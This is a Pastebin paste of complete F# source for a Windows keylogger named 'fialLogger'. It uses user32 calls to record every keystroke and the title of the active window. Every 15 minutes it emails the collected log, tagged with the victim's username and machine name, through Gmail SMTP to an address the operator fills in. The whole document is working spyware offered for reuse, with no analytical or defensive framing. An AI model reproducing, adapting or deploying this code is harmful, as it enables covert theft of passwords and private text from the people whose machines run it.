Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (* fialLogger by Yarukinasu *)
- #light
- open System
- open System.Net
- open System.Net.Mail
- open System.Runtime.InteropServices
- open System.Text
- open System.Threading
- (* DLL imports *)
- [<DllImport("user32.dll")>]
- extern int GetAsyncKeyState(int vKey)
- [<DllImport("user32.dll")>]
- extern int GetForegroundWindow()
- [<DllImport("user32.dll")>]
- extern int GetKeyState(int nVirtKey)
- [<DllImport("user32.dll")>]
- extern int GetWindowText(int hWnd, StringBuilder lpString, int nMaxCount)
- (* replace these with whatever you desire *)
- [<Literal>]
- let USERNAME = "username@gmail.com"
- [<Literal>]
- let PASSWORD = "password"
- [<Literal>]
- let INTERVAL = 900000 (* 900000 milliseconds is 15 minutes *)
- (* arrays of virtual-key codes *)
- let KEYS = [|
- "[LBUTTON]" (* 0x01 *)
- "[RBUTTON]" (* 0x02 *)
- "[CANCEL]" (* 0x03 *)
- "[MBUTTON]" (* 0x04 *)
- "[XBUTTON1]" (* 0x05 *)
- "[XBUTTON2]" (* 0x06 *)
- "[0x07]" (* 0x07 *)
- "[BACK]" (* 0x08 *)
- "\t" (* 0x09 *)
- "[0x0A]" (* 0x0A *)
- "[0x0B]" (* 0x0B *)
- "[CLEAR]" (* 0x0C *)
- Environment.NewLine (* 0x0D *)
- "[0x0E]" (* 0x0E *)
- "[0x0F]" (* 0x0F *)
- "[SHIFT]" (* 0x10 *)
- "[CONTROL]" (* 0x11 *)
- "[MENU]" (* 0x12 *)
- "[PAUSE]" (* 0x13 *)
- "[CAPITAL]" (* 0x14 *)
- "[KANA/HANGUEL/HANGUL]" (* 0x15 *)
- "[0x16]" (* 0x16 *)
- "[JUNJA]" (* 0x17 *)
- "[FINAL]" (* 0x18 *)
- "[HANJA/KANJI]" (* 0x19 *)
- "[0x1A]" (* 0x1A *)
- "[ESCAPE]" (* 0x1B *)
- "[CONVERT]" (* 0x1C *)
- "[NONCONVERT]" (* 0x1D *)
- "[ACCEPT]" (* 0x1E *)
- "[MODECHANGE]" (* 0x1F *)
- " " (* 0x20 *)
- "[PRIOR]" (* 0x21 *)
- "[NEXT]" (* 0x22 *)
- "[END]" (* 0x23 *)
- "[HOME]" (* 0x24 *)
- "[LEFT]" (* 0x25 *)
- "[UP]" (* 0x26 *)
- "[RIGHT]" (* 0x27 *)
- "[DOWN]" (* 0x28 *)
- "[SELECT]" (* 0x29 *)
- "[PRINT]" (* 0x2A *)
- "[EXECUTE]" (* 0x2B *)
- "[SNAPSHOT]" (* 0x2C *)
- "[INSERT]" (* 0x2D *)
- "[DELETE]" (* 0x2E *)
- "[HELP]" (* 0x2F *)
- "0" (* 0x30 *)
- "1" (* 0x31 *)
- "2" (* 0x32 *)
- "3" (* 0x33 *)
- "4" (* 0x34 *)
- "5" (* 0x35 *)
- "6" (* 0x36 *)
- "7" (* 0x37 *)
- "8" (* 0x38 *)
- "9" (* 0x39 *)
- "[0x3A]" (* 0x3A *)
- "[0x3B]" (* 0x3B *)
- "[0x3C]" (* 0x3C *)
- "[0x3D]" (* 0x3D *)
- "[0x3E]" (* 0x3E *)
- "[0x3F]" (* 0x3F *)
- "[0x40]" (* 0x40 *)
- "a" (* 0x41 *)
- "b" (* 0x42 *)
- "c" (* 0x43 *)
- "d" (* 0x44 *)
- "e" (* 0x45 *)
- "f" (* 0x46 *)
- "g" (* 0x47 *)
- "h" (* 0x48 *)
- "i" (* 0x49 *)
- "j" (* 0x4A *)
- "k" (* 0x4B *)
- "l" (* 0x4C *)
- "m" (* 0x4D *)
- "n" (* 0x4E *)
- "o" (* 0x4F *)
- "p" (* 0x50 *)
- "q" (* 0x51 *)
- "r" (* 0x52 *)
- "s" (* 0x53 *)
- "t" (* 0x54 *)
- "u" (* 0x55 *)
- "v" (* 0x56 *)
- "w" (* 0x57 *)
- "x" (* 0x58 *)
- "y" (* 0x59 *)
- "z" (* 0x5A *)
- "[LWIN]" (* 0x5B *)
- "[RWIN]" (* 0x5C *)
- "[APPS]" (* 0x5D *)
- "[0x5E]" (* 0x5E *)
- "[SLEEP]" (* 0x5F *)
- "[NUMPAD0]" (* 0x60 *)
- "[NUMPAD1]" (* 0x61 *)
- "[NUMPAD2]" (* 0x62 *)
- "[NUMPAD3]" (* 0x63 *)
- "[NUMPAD4]" (* 0x64 *)
- "[NUMPAD5]" (* 0x65 *)
- "[NUMPAD6]" (* 0x66 *)
- "[NUMPAD7]" (* 0x67 *)
- "[NUMPAD8]" (* 0x68 *)
- "[NUMPAD9]" (* 0x69 *)
- "[MULTIPLY]" (* 0x6A *)
- "[ADD]" (* 0x6B *)
- "[SEPARATOR]" (* 0x6C *)
- "[SUBTRACT]" (* 0x6D *)
- "[DECIMAL]" (* 0x6E *)
- "[DIVIDE]" (* 0x6F *)
- "[F1]" (* 0x70 *)
- "[F2]" (* 0x71 *)
- "[F3]" (* 0x72 *)
- "[F4]" (* 0x73 *)
- "[F5]" (* 0x74 *)
- "[F6]" (* 0x75 *)
- "[F7]" (* 0x76 *)
- "[F8]" (* 0x77 *)
- "[F9]" (* 0x78 *)
- "[F10]" (* 0x79 *)
- "[F11]" (* 0x7A *)
- "[F12]" (* 0x7B *)
- "[F13]" (* 0x7C *)
- "[F14]" (* 0x7D *)
- "[F15]" (* 0x7E *)
- "[F16]" (* 0x7F *)
- "[F17]" (* 0x80 *)
- "[F18]" (* 0x81 *)
- "[F19]" (* 0x82 *)
- "[F20]" (* 0x83 *)
- "[F21]" (* 0x84 *)
- "[F22]" (* 0x85 *)
- "[F23]" (* 0x86 *)
- "[F24]" (* 0x87 *)
- "[0x88]" (* 0x88 *)
- "[0x89]" (* 0x89 *)
- "[0x8A]" (* 0x8A *)
- "[0x8B]" (* 0x8B *)
- "[0x8C]" (* 0x8C *)
- "[0x8D]" (* 0x8D *)
- "[0x8E]" (* 0x8E *)
- "[0x8F]" (* 0x8F *)
- "[NUMLOCK]" (* 0x90 *)
- "[SCROLL]" (* 0x91 *)
- "[0x92]" (* 0x92 *)
- "[0x93]" (* 0x93 *)
- "[0x94]" (* 0x94 *)
- "[0x95]" (* 0x95 *)
- "[0x96]" (* 0x96 *)
- "[0x97]" (* 0x97 *)
- "[0x98]" (* 0x98 *)
- "[0x99]" (* 0x99 *)
- "[0x9A]" (* 0x9A *)
- "[0x9B]" (* 0x9B *)
- "[0x9C]" (* 0x9C *)
- "[0x9D]" (* 0x9D *)
- "[0x9E]" (* 0x9E *)
- "[0x9F]" (* 0x9F *)
- "[LSHIFT]" (* 0xA0 *)
- "[RSHIFT]" (* 0xA1 *)
- "[LCONTROL]" (* 0xA2 *)
- "[RCONTROL]" (* 0xA3 *)
- "[LMENU]" (* 0xA4 *)
- "[RMENU]" (* 0xA5 *)
- "[BROWSER_BACK]" (* 0xA6 *)
- "[BROWSER_FORWARD]" (* 0xA7 *)
- "[BROWSER_REFRESH]" (* 0xA8 *)
- "[BROWSER_STOP]" (* 0xA9 *)
- "[BROWSER_SEARCH]" (* 0xAA *)
- "[BROWSER_FAVORITES]" (* 0xAB *)
- "[BROWSER_HOME]" (* 0xAC *)
- "[VOLUME_MUTE]" (* 0xAD *)
- "[VOLUME_DOWN]" (* 0xAE *)
- "[VOLUME_UP]" (* 0xAF *)
- "[MEDIA_NEXT_TRACK]" (* 0xB0 *)
- "[MEDIA_PREV_TRACK]" (* 0xB1 *)
- "[MEDIA_STOP]" (* 0xB2 *)
- "[MEDIA_PLAY_PAUSE]" (* 0xB3 *)
- "[LAUNCH_MAIL]" (* 0xB4 *)
- "[LAUNCH_MEDIA_SELECT]" (* 0xB5 *)
- "[LAUNCH_APP1]" (* 0xB6 *)
- "[LAUNCH_APP2]" (* 0xB7 *)
- "[0xB8]" (* 0xB8 *)
- "[0xB9]" (* 0xB9 *)
- ";" (* 0xBA *)
- "=" (* 0xBB *)
- "," (* 0xBC *)
- "-" (* 0xBD *)
- "." (* 0xBE *)
- "/" (* 0xBF *)
- "`" (* 0xC0 *)
- "[0xC1]" (* 0xC1 *)
- "[0xC2]" (* 0xC2 *)
- "[0xC3]" (* 0xC3 *)
- "[0xC4]" (* 0xC4 *)
- "[0xC5]" (* 0xC5 *)
- "[0xC6]" (* 0xC6 *)
- "[0xC7]" (* 0xC7 *)
- "[0xC8]" (* 0xC8 *)
- "[0xC9]" (* 0xC9 *)
- "[0xCA]" (* 0xCA *)
- "[0xCB]" (* 0xCB *)
- "[0xCC]" (* 0xCC *)
- "[0xCD]" (* 0xCD *)
- "[0xCE]" (* 0xCE *)
- "[0xCF]" (* 0xCF *)
- "[0xD0]" (* 0xD0 *)
- "[0xD1]" (* 0xD1 *)
- "[0xD2]" (* 0xD2 *)
- "[0xD3]" (* 0xD3 *)
- "[0xD4]" (* 0xD4 *)
- "[0xD5]" (* 0xD5 *)
- "[0xD6]" (* 0xD6 *)
- "[0xD7]" (* 0xD7 *)
- "[0xD8]" (* 0xD8 *)
- "[0xD9]" (* 0xD9 *)
- "[0xDA]" (* 0xDA *)
- "[" (* 0xDB *)
- "\\" (* 0xDC *)
- "]" (* 0xDD *)
- "'" (* 0xDE *)
- "[0xDF]" (* 0xDF *)
- "[0xE0]" (* 0xE0 *)
- "[OEM_AX]" (* 0xE1 *)
- "[OEM_102]" (* 0xE2 *)
- "[0xE3]" (* 0xE3 *)
- "[0xE4]" (* 0xE4 *)
- "[PROCESSKEY]" (* 0xE5 *)
- "[0xE6]" (* 0xE6 *)
- "[PACKET]" (* 0xE7 *)
- "[0xE8]" (* 0xE8 *)
- "[0xE9]" (* 0xE9 *)
- "[0xEA]" (* 0xEA *)
- "[0xEB]" (* 0xEB *)
- "[0xEC]" (* 0xEC *)
- "[0xED]" (* 0xED *)
- "[0xEE]" (* 0xEE *)
- "[0xEF]" (* 0xEF *)
- "[DBE_ALPHANUMERIC]" (* 0xF0 *)
- "[DBE_KATAKANA]" (* 0xF1 *)
- "[DBE_HIRAGANA]" (* 0xF2 *)
- "[DBE_SBCSCHAR]" (* 0xF3 *)
- "[DBE_DBCSCHAR]" (* 0xF4 *)
- "[DBE_ROMAN]" (* 0xF5 *)
- "[ATTN/DBE_NOROMAN]" (* 0xF6 *)
- "[CRSEL/DBE_ENTERWORKREGISTERMODE]" (* 0xF7 *)
- "[EXSEL/DBE_ENTERIMECONFIGMODE]" (* 0xF8 *)
- "[EREOF/DBE_FLUSHSTRING]" (* 0xF9 *)
- "[PLAY/DBE_CODEINPUT]" (* 0xFA *)
- "[ZOOM/DBE_NOCODEINPUT]" (* 0xFB *)
- "[NONAME]" (* 0xFC *)
- "[PA1]" (* 0xFD *)
- "[OEM_CLEAR]" (* 0xFE *)
- "[0xFF]" (* 0xFF *)
- |]
- let SHIFT_KEYS = [|
- ")" (* 0x30 *)
- "!" (* 0x31 *)
- "@" (* 0x32 *)
- "#" (* 0x33 *)
- "$" (* 0x34 *)
- "%" (* 0x35 *)
- "^" (* 0x36 *)
- "&" (* 0x37 *)
- "*" (* 0x38 *)
- "(" (* 0x39 *)
- ":" (* 0xBA *)
- "+" (* 0xBB *)
- "<" (* 0xBC *)
- "_" (* 0xBD *)
- ">" (* 0xBE *)
- "?" (* 0xBF *)
- "~" (* 0xC0 *)
- "{" (* 0xDB *)
- "|" (* 0xDC *)
- "}" (* 0xDD *)
- "\"" (* 0xDE *)
- |]
- (* text to send *)
- let str = new StringBuilder()
- (* text of the window's title bar *)
- let title = new StringBuilder()
- (* the SMTP client for sending the log *)
- let client =
- new SmtpClient(
- Credentials = new NetworkCredential(USERNAME, PASSWORD),
- EnableSsl = true,
- Host = "smtp.gmail.com",
- Port = 587
- )
- (* send the log *)
- let sender =
- async {
- while true do
- Thread.Sleep INTERVAL (* every once in a while *)
- let length = str.Length
- let message =
- new MailMessage(
- Body = str.ToString(),
- From = new MailAddress(USERNAME),
- Subject =
- "fialLogger: " + Environment.UserName.ToString() +
- "@" + Environment.MachineName.ToString()
- )
- message.To.Add USERNAME
- client.Send message
- (* the length can be changed while sending the log, so only remove the part that was sent *)
- str.Remove(0, length) |> ignore
- }
- (* logs the text of the window's title bar *)
- let windowlistener =
- async {
- while true do
- let newtitle = new StringBuilder 0xFF
- GetWindowText(GetForegroundWindow(), newtitle, 0xFF) |> ignore
- if title.ToString() <> newtitle.ToString() then
- str.Append(Environment.NewLine + "[-----")
- .Append(title.Clear().Append(newtitle))
- .Append("-----]" + Environment.NewLine) |> ignore
- Thread.Sleep 300
- }
- Async.Start sender
- Async.Start windowlistener
- (* main loop *)
- while true do
- for i in 1 .. 256 do
- if GetAsyncKeyState i = -32767 then
- let shiftstate = GetKeyState 0x10
- if shiftstate >= 65408 || shiftstate <= -127 then
- match i with
- | x when x >= 0x30 && x <= 0x39 -> printf "%s" (SHIFT_KEYS.[i - 0x30])
- | x when x >= 0xBA && x <= 0xC0 -> printf "%s" (SHIFT_KEYS.[i - 0xB0])
- | x when x >= 0xDB && x <= 0xDE -> printf "%s" (SHIFT_KEYS.[i - 0xCA])
- | _ ->
- if GetKeyState 0x14 >= 1 then
- str.Append KEYS.[i - 1] |> ignore
- else
- str.Append(KEYS.[i - 1].ToUpper()) |> ignore
- elif GetKeyState 0x14 >= 1 then
- str.Append(KEYS.[i - 1].ToUpper()) |> ignore
- else
- str.Append KEYS.[i - 1] |> ignore
- Thread.Sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement